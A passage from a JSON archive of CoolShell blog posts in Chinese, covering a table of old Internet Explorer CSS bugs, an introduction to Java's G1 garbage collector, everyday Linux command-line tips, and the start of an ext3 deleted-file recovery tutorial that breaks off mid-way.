Bug</a></td>\n<td>IE6</td>\n<td>背景从一个元件的内部溢出到外部</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Expanding-Height-Bug\" title=\"'Expanding Height Bug' tutorial\">Expanding Height Bug</a></td>\n<td>IE6</td>\n<td>元件的高度比指定的要长得多。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Expanding-Width-Bug\" title=\"'Expanding Width Bug' tutorial\">Expanding Width Bug</a></td>\n<td>IE6</td>\n<td>元件的宽度比指定的要长得多。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Double-Margin-Bug\" title=\"'Double Margin Bug' tutorial\">Double Margin Bug</a></td>\n<td>IE6</td>\n<td>float元件的左和右的空白（margins）被加倍了。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Negative-Margin-Bug\" title=\"'Negative Margin Bug' tutorial\">Negative Margin Bug</a></td>\n<td>IE8以下版</td>\n<td>如果使用负数来指定页白（margins）里面的元件会被外面的元件所遮挡。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Italics-Float-Bug\" title=\"'Italics Float Bug' tutorial\">Italics Float Bug</a></td>\n<td>IE6</td>\n<td>float的元件中的字体会被设置成倾斜。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=3px-Gap-Bug-aka-Text-Jog-Bug\" title=\"'3px Gap Bug aka Text Jog Bug' tutorial\">3px Gap Bug aka Text Jog Bug</a></td>\n<td>IE6</td>\n<td>下一个float的元件不是有一个3px的空隙，就是被换行了。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Text-Align-Bug\" title=\"'Text-Align Bug' tutorial\">Text-Align Bug</a></td>\n<td>IE8以下版</td>\n<td>text-align属性会影响整个元件内的所有内容。</td>\n</tr>\n</tbody>\n</table>\n<h4>布局类 Bug</h4>\n<table border=\"0\">\n<caption>\n</caption>\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Border-Chaos-Bug\" title=\"'Border Chaos Bug' tutorial\">Border Chaos Bug</a></td>\n<td>IE6</td>\n<td>连框显示是混乱的</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Sub-Hover-Bug\" title=\"'Sub-Hover Bug' tutorial\">Sub-Hover Bug</a></td>\n<td>IE6</td>\n<td>一些selectors 如 a:hover foo{} 无法正常工作</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Partial-Click-Bug\" title=\"'Partial Click Bug' tutorial\">Partial Click Bug</a></td>\n<td>IE6</td>\n<td>在定义了display: block的链接中(&lt;a&gt;) 只有文本是可以点的。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Disappearing-Content-Bug\" title=\"'Disappearing Content Bug' tutorial\">Disappearing Content Bug</a></td>\n<td>IE6</td>\n<td>当我们滚动窗口的时候，或是最大化最小化窗品的时候，有一些内容会重复显示。</td>\n</tr>\n</tbody>\n</table>\n<h4>不支持的功能</h4>\n<table border=\"0\">\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-Child-Selector-Support-Workaround\" title=\"'No Child Selector Support Workaround' tutorial\">No Child Selector Support Workaround</a></td>\n<td>IE6</td>\n<td>子 selector 无效</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Max-Height-Workaround\" title=\"'Max-Height Workaround' tutorial\">Max-Height Workaround</a></td>\n<td>IE6</td>\n<td>max-height 无效</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Max-Width-Workaround\" title=\"'Max-Width Workaround' tutorial\">Max-Width Workaround</a></td>\n<td>IE6</td>\n<td>max-width 无效</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Opacity\" title=\"'Opacity' tutorial\">Opacity</a></td>\n<td>IE8及以下版</td>\n<td>opacity 属性无效</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Min-Width-Workaround\" title=\"'Min-Width Workaround' tutorial\">Min-Width Workaround</a></td>\n<td>IE6</td>\n<td>min-width 属性无效</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Min-Height-Workaround\" title=\"'Min-Height Workaround' tutorial\">Min-Height Workaround</a></td>\n<td>IE6</td>\n<td>min-height 属性无效</td>\n</tr>\n</tbody>\n</table>\n<h4>程序崩溃 Bug</h4>\n<p>这个BUG可以导致整个 <abbr title=\"Internet Explorer\">IE</abbr> 崩溃。</p>\n<table border=\"0\">\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Hover-Crash-Bug\" title=\"'Hover Crash Bug' tutorial\">Hover Crash Bug</a></td>\n<td>IE6</td>\n<td>当你把鼠标移上 :hover 的链接时，浏览器会崩溃</td>\n</tr>\n</tbody>\n</table>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1245.html\">IE的CSS相关的BUG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-13 G1新型垃圾回收器一瞥.html",
    "content": "<html><body><p></p>\n<h4>G1垃圾回收器</h4>\n<p>“G1垃圾回收”的英文全称是 <em>Garbage-First Garbage Collector</em> （又被称作G1 GC），这是一个新型的垃圾回收器，由JDK 7中的Java HotSpot VM 引入。这个技术曾经在Java SE 6 Update 14版本中出现过一个试验性的，然后 G1 被 HotSpot的 反应快速（low-latency）的 <em>Concurrent Mark-Sweep</em> GC （简称 <em>CMS</em>）长期取代。</p>\n<h4>属性</h4>\n<p>G1 是一个“服务器风格（server-style）”的垃圾回收器，它主要有下面的这些属性：</p>\n<p><span id=\"more-1252\"></span></p>\n<ul>\n<li><strong>并行和并发。</strong> G1 可以从今天最新的硬件中获得并行的能力。它能够使用所有可用的CPU（CPU多核，硬件多线程，等）来加速它的 “stop-the-world” 机制（这个机制简称STW，即，在执行垃圾收集算法时，Java应用程序的其他所有除了垃圾收集帮助器线程之外的线程都被挂起）。</li>\n<li><strong>分代处理。</strong> 就像其它的HotSpot 垃圾回收器，G1 是分代的，也就是说，它在处理新分配的对象（年轻代）和已经生存了一段时间的对象（年老代）时会不同，它会更多地考虑一些新创建的对象实例，因为越新创建的就越有最大的可能性被回收，老对象只是偶尔访问一下。对于大多数的Java应用来说，这个机制可以极大地提高回收效率。</li>\n<li><strong>紧凑内存（碎片整理）。</strong> 不像CMS，G1 会对堆进行内存整理。压缩可以消除潜在的内存碎片的问题，这样程序就可以更长时间的平滑运行。</li>\n<li><strong>预见性的。</strong> G1 比起 CMS 来有更多的预见性。这个主要还是用来消除内存碎片的问题。内存的碎片少了，Stop-the-World的暂停时间也会被减少。</li>\n</ul>\n<h4>描述</h4>\n<p>比起其它的HotSpot 垃圾回收器来说，G1 使用了一种非常不同寻常的方法来管理堆内存的布局。在G1中，在对象新生代和老一代上没有在物理上把他们分隔开来。取而代之的是，它把一个连续的堆内存拆分成了几个相同大小的区域。新产生的对象和老的对象都会被放在一系列可能不会连续的区域中。之所以这样做，就是为了让G1可以更灵活地移动老对象所占用的资源给新的对象。</p>\n<p>G1中的内存收集会发生 “疏散暂停”，当内存从一系例区域开始回收时，这些区域所引用的 <em>collection set</em> 会被疏散到另一些区域中，这样，我们会有一整块的内存来重新被申请。疏散会发生整个程序的暂停，但“疏散”这些内存可以被并行运行，当然，你要有多核或多线程技术来支持。绝大多数的“疏散暂停”会去收集那些可用的比较新的内存区域，因此，这和其它的 HotSpot 垃圾回收器是相同的。偶而才会去查看一下老区域中的内存是否可以回收。</p>\n<p>在 CMS中，其周期性的执行一个 <em>concurrent marking phase</em>。 这个phase中最主要的事情是，识别哪些老的区域中充满了可以回收的对象，因为这是最有效率和最合适的回收。但在G1中，G1不会执行那个所谓的 <em>concurrent sweeping phase</em>， 取而代之的是，去识别那些的最合适的老的区域是在并发的“疏散暂停”中进行的（后面会做介绍）。</p>\n<h4>使用 G1</h4>\n<p>G1 目前仍然还在试验阶段，使用下面两个参数可以打开G1机制：</p>\n<p><code>-XX:+UnlockExperimentalVMOptions -XX:+UseG1GC</code></p>\n<p>下面是设置垃圾回收器的暂停时间：</p>\n<p><code>-XX:MaxGCPauseMillis =50</code> (设置暂停时间为 50ms)</p>\n<p>在G1中，你还可以给垃圾回收器的暂停设置一个时间间隔：</p>\n<p><code>-XX:GCPauseIntervalMillis =200</code> (设置暂停时间间隔 200ms)</p>\n<p>注意，上面的两个参数只是代表目标，回收器并不保证。他们可能在某些情况下工作地很好，也可能在其它情况下不行，所以，垃圾回收器并不总是服从这两个参数设置。</p>\n<p>另外，新生代的内存大小可以被设置，这个参数同样会影响“疏散暂停”的时间：</p>\n<p><code>-XX:+G1YoungGenSize=512m</code> (设置新生代内存为 512兆字节)</p>\n<p>G1 同样可以使用survivor 空间，是的，这就是多少个区域。大小可以由通用的参数所指定(如： <code>-XX:SurvivorRatio=6</code>).</p>\n<p>最后，如果你要发挥G1的所有潜能，你可以尝试设置下面两个参数，它们默认上是关闭的，因为在一些很稀有的情况下，这两个参数会发生race condition（竞争条件）:</p>\n<p><code>-XX:+G1ParallelRSetUpdatingEnabled<br/>\n-XX:+G1ParallelRSetScanningEnabled</code></p>\n<p>还有一件事是G1能够报告比其它垃圾回收站更详细的信息，当然，你需要设置下面这个参数：</p>\n<p> <code>-XX:+PrintGCDetails</code></p>\n<p>这个参数会输出很多有用的信息供你查看性能与以 trouble-shooting。如果你想要简单的日志，你可以把这个开关设置到 <code>-verbosegc</code> 。</p>\n<h4>状态</h4>\n<p>G1 开发目前主要关注于解决一些残留的稳定性的问题，以及提高性能，并且去除下面的限制：</p>\n<ul>\n<li>G1 并不完全支持 JVM Tool Interface (JVM TI) 或 Java Management Extensions (JMX)，所以，这些监控和管理工具无法正确地作用于G1。</li>\n<li>G1 不支持增量的永生代collection。如果一个应用在卸载很多的类，因些需要很多的永生代Collection，目前的G1还不支持，不过最终版会支持。</li>\n<li>关于垃圾回收器的暂停时间，G1的表现比起CMS来说是时好时坏。所以，还有很多工作需要让G1的表现更加稳定，绝不能比CMS还差，不然G1还有什么意思呢？</li>\n</ul>\n<h4>相关资源</h4>\n<ul>\n<li>Description of HotSpot GCs: Memory Management in the Java HotSpot Virtual Machine White Paper: <a href=\"https://coolshell.cn/j2se/reference/whitepapers/memorymanagement_whitepaper.pdf\">http://java.sun.com/j2se/reference/whitepapers/memorymanagement_whitepaper.pdf</a></li>\n<li>The original CMS paper: Printezis, T. and Detlefs, D. 2000. A generational mostly-concurrent garbage collector. In <em>Proceedings of the 2nd international Symposium on Memory Management</em> (Minneapolis, Minnesota, United States, October 15 – 16, 2000). <a href=\"http://portal.acm.org/citation.cfm?id=362422.362480\" target=\"_blank\">http://portal.acm.org/citation.cfm?id=362422.362480</a> (requires access to ACM’s portal)</li>\n<li>The original G1 paper: Detlefs, D., Flood, C., Heller, S., and Printezis, T. 2004. Garbage-first garbage collection. In Proceedings of the 4th international Symposium on Memory Management (Vancouver, BC, Canada, October 24 – 25, 2004). <a href=\"http://portal.acm.org/citation.cfm?id=1029879\" target=\"_blank\">http://portal.acm.org/citation.cfm?id=1029879</a> (requires access to ACM’s portal)</li>\n<li>G1 talk from JavaOne 2008: <a href=\"http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5419&amp;yr=2008\">http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5419&amp;yr=2008</a></li>\n</ul>\n<p>文章：<a href=\"http://java.sun.com/javase/technologies/hotspot/gc/g1_intro.jsp\" target=\"_blank\">来源</a></p>\n<p><!-- =================== --><!-- END OF MAIN CONTENT --><!-- =================== --><!--stopindex--><!-- BEGIN D7 COMPONENT V.5 --><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1252.html\">G1新型垃圾回收器一瞥</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-13 你用Linux命令行吗？.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a>想一想，如果你要把一个图片的尺寸改小一点，你会怎么办？当然，我一定会启动一个图形编辑软件，然后，打开图片文件，从菜单上选择相关的工具选项，更改大小，然后保存文件。就算是在Linux下，我可能也是这么干的，比如Ubuntu下也是这样，如下图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"><img alt=\"photo_gimp\" class=\"aligncenter\" height=\"300\" src=\"../wp-content/uploads/2009/08/photo_gimp-290x300.png\" title=\"photo_gimp\" width=\"290\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a></p>\n<p>但其实，如果你用命令行来更改图片大小的话，一条语句就可以搞定了。如：</p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>convert -resize 300 profile.jpg profile_small.jpg</strong></pre>\n<p>当然，如果你要使用这样的命令，你需要安装<a href=\"http://www.imagemagick.org/script/index.php\">Imagemagick</a>，你可通过apt-get install imagemagick来安装一下。</p>\n<p><span id=\"more-1256\"></span></p>\n<p>不管怎么说，很简单吧，下面还有几个：</p>\n<p><strong>1）给图片加阴影</strong></p>\n<p>给图片加阴影可以使用下面的这个命令：</p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>convert screenshot.jpg\n\\( +clone -background black -shadow 60×5+0+5 \\)\n+swap -background white -layers merge +repage shadow.jpg</strong></pre>\n<p>效果如下：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/screenshot-suse.jpg\"><img alt=\"screenshot-suse\" class=\"alignleft\" height=\"180\" src=\"../wp-content/uploads/2009/08/screenshot-suse.jpg\" title=\"screenshot-suse\" width=\"240\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/shadow.png\"><img alt=\"shadow\" height=\"200\" src=\"../wp-content/uploads/2009/08/shadow.png\" title=\"shadow\" width=\"260\"/></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/08/screenshot-suse.jpg\"></a></p>\n<p><strong>2）把两个MP3拼起来</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>cat 1.mp3 2.mp3 &gt; combined.mp3</strong></pre>\n<p><strong>3）克隆一个硬盘设备</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>dd if=/dev/hda of=/dev/hdb</strong></pre>\n<p><strong>4）把ISO文件刻录光盘</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>cdrecord -v speed=8 dev=0,0,0 name_of_iso_file.iso</strong></pre>\n<p><strong>5）视频格式转换</strong></p>\n<p>AVI和Mpeg转换</p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>ffmpeg -i video_origine.avi video_finale.mpg\nffmpeg -i video_origine.mpg video_finale.avi</strong></pre>\n<p>查看这个<a href=\"http://www.catswhocode.com/blog/19-ffmpeg-commands-for-all-needs\" target=\"_blank\">链接</a>，你可以看看ffmpeg可以干得更多。</p>\n<p><strong>6）替换文件中的文本</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>sed ’s/#FF0000/#0000FF/g’ main.css</strong></pre>\n<p>把main.css中的#FF0000(红色)替换成#0000FF（蓝色）</p>\n<p> </p>\n<p>如果你非常喜欢命令行的话，那么你一定要看一下下面这本书（免费在线）</p>\n<p>GNU/Linux命令行介绍：<a href=\"http://en.flossmanuals.net/gnulinux\">http://en.flossmanuals.net/gnulinux</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1256.html\">你用Linux命令行吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-14 恢复Ext3下被删除的文件.html",
    "content": "<html><body><p> 下面是这个教程将教你如何在Ext3的文件系统中恢复被rm掉的文件。</p>\n<p>假设我们有一个文件名叫 ‘test.txt’</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-style: italic;\"> </span><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$ls -il test.txt</span></span><br style=\"font-style: italic;\"/><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\"> 15 -rw-rw-r– 2 root root 20 Apr 17 12:08 test.txt</span></span><br style=\"font-style: italic;\"/><span style=\"font-weight: bold;\"> </span></div>\n<p>注意：: “-il” 选项表示显示文件的i-node号（15），如果你不知道Unix/Linux文件系统的“I结点”的话，你有必要先补充一下相关的知识。简单说来，i结点就是操作管理文件的一个标识号。</p>\n<p><span id=\"more-1265\"></span></p>\n<p>我们再看一下其内容：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$ cat test.txt</span></span><br style=\"font-style: italic;\"/><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">this is test file</span></span><br style=\"font-style: italic;\"/></div>\n<p>好，现在我们开始删除文件：.</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$rm test.txt</span></span><br style=\"font-style: italic;\"/><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">rm: remove write-protected regular file <code class=\"EnlighterJSRAW\">test.txt'? y&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;\n \n&lt;h4&gt;使用 Journal 和 Inode 号恢复&lt;/h4&gt;\n注意，如果你删除文件后重启了系统，那么，相关的文件 journal 会丢失，我们也就无法恢复文件了。所以，恢复文件的前提是，Journal不能丢失，即，系统不能重启。\n\n因为我们已经知道 test.txt 文件的 inode 号是 15，所以我们可以使用 debugfs 命令来查看：\n&lt;div style=\"margin-left: 40px;\"&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;debugfs: logdump -i &lt;15&gt;&lt;/span&gt;&lt;/span&gt;\n&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;FS block 1006 logged at sequence 404351, journal block 7241&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;(inode block for inode 15):&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;Inode: 15 Type: regular Mode: 0664 Flags: 0x0 Generation: 0&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;User: 0 Group: 0 Size: 20&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;File ACL: 0 Directory ACL: 0&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;Links: 1 Blockcount: 8&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;Fragment: Address: 0 Number: 0 Size: 0&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;ctime: 0x48159f2d -- Mon Apr 28 15:25:57 2008&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;atime: 0x48159f27 -- Mon Apr 28 15:25:51 2008&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;mtime: 0x4806f070 -- Thu Apr 17 12:08:40 2008&lt;/span&gt;&lt;/span&gt;&lt;br 